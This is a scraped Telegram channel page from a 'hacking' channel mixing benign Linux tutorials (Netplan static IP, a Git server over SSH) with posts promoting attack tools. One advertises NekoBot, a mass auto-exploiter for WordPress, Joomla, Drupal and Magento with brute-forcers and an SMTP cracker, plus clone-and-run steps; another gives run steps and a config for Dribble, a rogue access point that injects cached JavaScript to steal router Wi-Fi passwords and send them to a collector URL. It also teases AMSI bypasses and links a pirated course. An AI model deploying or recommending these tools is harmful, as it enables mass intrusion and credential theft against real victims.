UNDERCODE SECURITY
226 subscribers
295 photos
1.03K files
1.73K links
πŸ¦‘WELCOME IN UNDERCODE TESTING FOR LEARN HACKING | PROGRAMMING | SECURITY & more..

THIS CHANNEL BY :

@UndercodeTesting
UndercodeTesting.com (official)

@iUndercode
iUndercode.com (iOs)

@Dailycve
DailyCve.com


@UndercodeNews
UndercodeNews.com
Download Telegram
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘lINUX IP CONFIG TUTORIALS :

Netplan
Ubuntu 17.10 and newer uses Netplan as the default network management tool. Previous versions of Ubuntu used ifconfig and its / etc / network / interfaces config file to configure the network.

Netplan configuration files are written in YAML syntax with a .yaml file extension. To configure a network interface using Netplan, you need to create a YAML description for the interface, and Netplan will generate the necessary configuration files for the selected renderer.

Netplan supports two renderers, NetworkManager and Systemd-networkd. NetworkManager is mainly used on desktops, while Systemd-networkd is used on servers without a GUI.

πŸ¦‘Setting up a static IP address on an Ubuntu server
In Ubuntu 20.04, the system identifies network interfaces using "predictable network interface names".

1) The first step to setting up a static IP address is to determine the name of the Ethernet interface you want to configure. To do this, use the ip link command as shown below:

> ip link

2) The command prints a list of all available network interfaces. In this example, the interface name is ens3:

> 1: lo: <LOOPBACK, UP, LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000

> link / loopback 00: 00: 00: 00: 00: 00 brd 00: 00: 00: 00: 00: 00

> 2: ens3: <BROADCAST, MULTICAST, UP, LOWER_UP> mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000

> link / ether 08: 00: 27: 6c: 13: 63 brd ff: ff: ff: ff: ff: ff

3) Netplan configuration files are stored in the / etc / netplan directory. You will likely find one or more YAML files in this directory. The file name may differ from setting to setting. Typically the file is named either 01-netcfg.yaml, 50-cloud-init.yaml, or NN_interfaceName.yaml, but it may be different on your system.

4) If your cloud-based Ubuntu instance has cloud-init, you need to disable it. To do this, create the following file:

sudo nano /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg

/etc/cloud/cloud.cfg.d/99-disable-network-config.cfg
network: {config: disabled}

5) To assign a static IP address on the network interface, open the YAML configuration file in a text editor :

sudo nano /etc/netplan/01-netcfg.yaml
/etc/netplan/01-netcfg.yaml

network:
version: 2
renderer: networkd
ethernets:
ens3:
dhcp4: yes

6) Before changing the configuration, let's briefly explain the code.

7) Every Netplan Yaml file starts with a network key, which contains at least two required elements. The first required element is the version of the network configuration format, and the second is the device type. The device type can be ethernets, bonds, bridges, or vlans.

8) The config also has a line showing the renderer type. By default, if you installed Ubuntu in server mode, the renderer is configured to use networkd as the backend.

9) Under the device type (ethernets) you can specify one or more network interfaces. In this example, we only have one ens3 interface configured to receive IP addressing from DHCP server dhcp4: yes.

@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘FOR BEGINERS LINUX GIT SERVER SETUP :

A) First, you create a git user account and a .ssh directory for that user.

$ sudo adduser git
$ su git
$ cd
$ mkdir .ssh && chmod 700 .ssh
$ touch .ssh/authorized_keys && chmod 600 .ssh/authorized_keys

B) Next, you need to add some developer SSH public keys to the authorized_keys file for the git user. Let’s assume you have some trusted public keys and have saved them to temporary files. Again, the public keys look something like this:

$ cat /tmp/id_rsa.john.pub

C) You just append them to the git user’s authorized_keys file in its .ssh directory:

$ cat /tmp/id_rsa.john.pub >> ~/.ssh/authorized_keys
$ cat /tmp/id_rsa.josie.pub >> ~/.ssh/authorized_keys
$ cat /tmp/id_rsa.jessica.pub >> ~/.ssh/authorized_keys
Now, you can set up an empty repository for them by running git init with the --bare option, which initializes the repository without a working directory:

$ cd /srv/git
$ mkdir project.git
$ cd project.git
$ git init --bare

D) Initialized empty Git repository in /srv/git/project.git/
Then, John, Josie, or Jessica can push the first version of their project into that repository by adding it as a remote and pushing up a branch. Note that someone must shell onto the machine and create a bare repository every time you want to add a project. Let’s use gitserver as the hostname of the server on which you’ve set up your git user and repository. If you’re running it internally, and you set up DNS for gitserver to point to that server, then you can use the commands pretty much as is (assuming that myproject is an existing project with files in it):

# on John's computer
$ cd myproject
$ git init
$ git add .
$ git commit -m 'Initial commit'
$ git remote add origin git@gitserver:/srv/git/project.git
$ git push origin master

E) At this point, the others can clone it down and push changes back up just as easily:

$ git clone git@gitserver:/srv/git/project.git
$ cd project
$ vim README
$ git commit -am 'Fix for README file'
$ git push origin master
With this method, you can quickly get a read/write Git server up and running for a handful of developers.

F) You should note that currently all these users can also log into the server and get a shell as the git user. If you want to restrict that, you will have to change the shell to something else in the /etc/passwd file.

You can easily restrict the git user account to only Git-related activities with a limited shell tool called git-shell that comes with Git. If you set this as the git user account’s login shell, then that account can’t have normal shell access to your server. To use this, specify git-shell instead of bash or csh for that account’s login shell. To do so, you must first add the full pathname of the git-shell command to /etc/shells if it’s not already there:

$ cat /etc/shells # see if git-shell is already in there. If not...
$ which git-shell # make sure git-shell is installed on your system.
$ sudo -e /etc/shells # and add the path to git-shell from last command

G) Now you can edit the shell for a user using chsh <username> -s <shell>:
$ sudo chsh git -s $(which git-shell)
Now, the git user can still use the SSH connection to push and pull Git repositories but can’t shell onto the machine. If you try, you’ll see a login rejection like this:

$ ssh git@gitserver
fatal: Interactive git shell is not enabled.
hint: ~/git-shell-commands should exist and have read and execute access.

H) Connection to gitserver closed.
At this point, users are still able to use SSH port forwarding to access any host the git server is able to reach.
no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty

sources unix/undercode/wiki
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘WEBSITES HACKING 2020 :
NekoBot | + shell checker Auto Exploiter With 500+ Exploit 2000+ Shell

f e a t u r e s :

1- Cherry-Plugin
2- download-manager Plugin
3- wysija-newsletters
4- Slider Revolution [Revslider]
5- gravity-forms
6- userpro
7- wp-gdpr-compliance
8- wp-graphql
9- formcraft
10- Headway
11- Pagelines Plugin
12- WooCommerce-ProductAddons
13- CateGory-page-icons
14- addblockblocker
15- barclaycart
16- Wp 4.7 Core Exploit
17- eshop-magic
18- HD-WebPlayer
19- WP Job Manager
20- wp-miniaudioplayer
21- wp-support-plus
22- ungallery Plugin
23- WP User Frontend
24- Viral-options
25- Social Warfare
26- jekyll-exporter
27- cloudflare plugin
28- realia plugin
29- woocommerce-software
30- enfold-child Theme
31- contabileads plugin
32- prh-api plugin
33- dzs-videogallery plugin
34- mm-plugin
35- Wp-Install
36- Auto BruteForce
[+] Joomla

1- Com_adsmanager
2- Com_alberghi
3- Com_CCkJseblod
4- Com_extplorer
5- Com_Fabric
6- Com_facileforms
7- Com_Hdflvplayer
8- Com_Jbcatalog
9- Com_JCE
10- Com_jdownloads
11- Com_Joomanager
12- Com_Macgallery
13- Com_media
14- Com_Myblog
15- Com_rokdownloads
16- Com_s5_media_player
17- Com_SexyContactform
18- Joomla core 3.x RCE
19- Joomla core 3.x RCE [2019]
20 - Joomla Core 3.x Admin Takeover
21 - Auto BruteForce
22 - Com_b2jcontact
23 - Com_bt_portfolio
24 - Com_civicrm
25 - Com_extplorer
26 - Com_facileforms
27 - Com_FoxContent
28 - Com_jwallpapers
29 - Com_oziogallery
30 - Com_redmystic
31 - Com_simplephotogallery
32 - megamenu module
33 - mod_simplefileuploadv1
[+] Drupal :

1- Drupal Add admin geddon1
2- Drupal RCE geddon2
3- Drupal 8 RCE RESTful
4- Drupal mailchimp
5- Drupal php-curl-class
6- BruteForce
7- Drupal SQL Add Admin
8- Drupal 7 RCE
9- bartik
10- Avatarafd Config
11- Drupal 8
12- Drupal Default UserPass
[+] Magento :

1- Shoplift
2- Magento Default user pass
[+] Oscommerce

1- OsCommerce Core 2.3 RCE Exploit
opencart
[+] OTHER :

1- Env Exploit
2- SMTP CRACKER
3- CV


πŸ„ΈπŸ„½πŸ…‚πŸ…ƒπŸ„°πŸ„»πŸ„»πŸ„ΈπŸ…‚πŸ„°πŸ…ƒπŸ„ΈπŸ„ΎπŸ„½ & πŸ…πŸ…„πŸ„½ :

1) git clone https://github.com/tegal1337/NekoBotV1.git

2) cd NekoBot

3) run as python NekoBot.py

use for learn !!
@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code.pdf
495.3 KB
Introduction
v4.8 of the dotnet framework uses Antimalware Scan Interface (AMSI) and Windows Lockdown Policy (WLDP) to block potentially unwanted software running from memory. WLDP will verify the digital signature of dynamic code while AMSI will scan for software that is either harmful or blocked by the administrator. This post documents three publiclyknown methods red teams currently use to bypass AMSI and one to bypass WLDP. The bypass methods described are somewhat generic and don’t require any special knowledge. If you’re reading this post anytime after June 2019, the methods may no longer work. The research shown here was conducted in collaboration with TheWover.
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘WIRELESS HACKING:
Dribble is a project I developed to play with my Raspberry Pie. The purpose of dribble is to stealing Wi-Fi passwords by exploiting web browser's cache. Dribble creates a fake Wi-Fi access point and waits for clients to connect to it. When clients connects, dribble intercepts every HTTP requests performed to JavaScript pages and injects a malicious JavaScipt code. The malicious JavaScript code is cached so that it persists when clients disconnect. When clients disconnect and reconnect back to their home router, the malicious JavaScript code activates, steals the Wi-Fi password from the router and send it back to the attacker.

Requirements:

hostapd
dnsmasq
node.js
bettercap

πŸ„ΈπŸ„½πŸ…‚πŸ…ƒπŸ„°πŸ„»πŸ„»πŸ„ΈπŸ…‚πŸ„°πŸ…ƒπŸ„ΈπŸ„ΎπŸ„½ & πŸ…πŸ…„πŸ„½ :

Download and run
To run dribble, just download the repo and run it as root.

1) git clone https://github.com/rhaidiz/dribble

2) cd dribble

3) sudo ./dribble
Configuration

4) All the configuration you need is located in the config file:

# the internet interface
internet=eth0

# the wifi interface
phy=wlan0

# The ESSID
essid="TEST"

# collector
collector="http://rhaidiz.net/something"

# the routers' IPs
routerips=("192.168.0.1/24" "10.0.0.1/24")

# usernames dictionary
usernames="['admin', 'admin1', 'test']"

# passwords dictionaris
passwords="['admin', 'admin1', 'password']"

@undercodeTesting
@UndercodeHacking
@UndercodeSecurity
▁ β–‚ β–„ Uπ•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
FULL Oracle Database 12c Program with PL SQL Ed 1.1 D87462GC11

https://mega.nz/folder/0ZxjVI5Q#_Yd5-zWbZIShlIg8C8BTLQ
Forwarded from UNDERCODE NEWS
Is USA wants to ban WeChat from Playstore & AppleStore ?
#International
_
Forwarded from UNDERCODE NEWS
The cryptocurrency protocol contained a dangerous vulnerability

#Vulnerabilities
_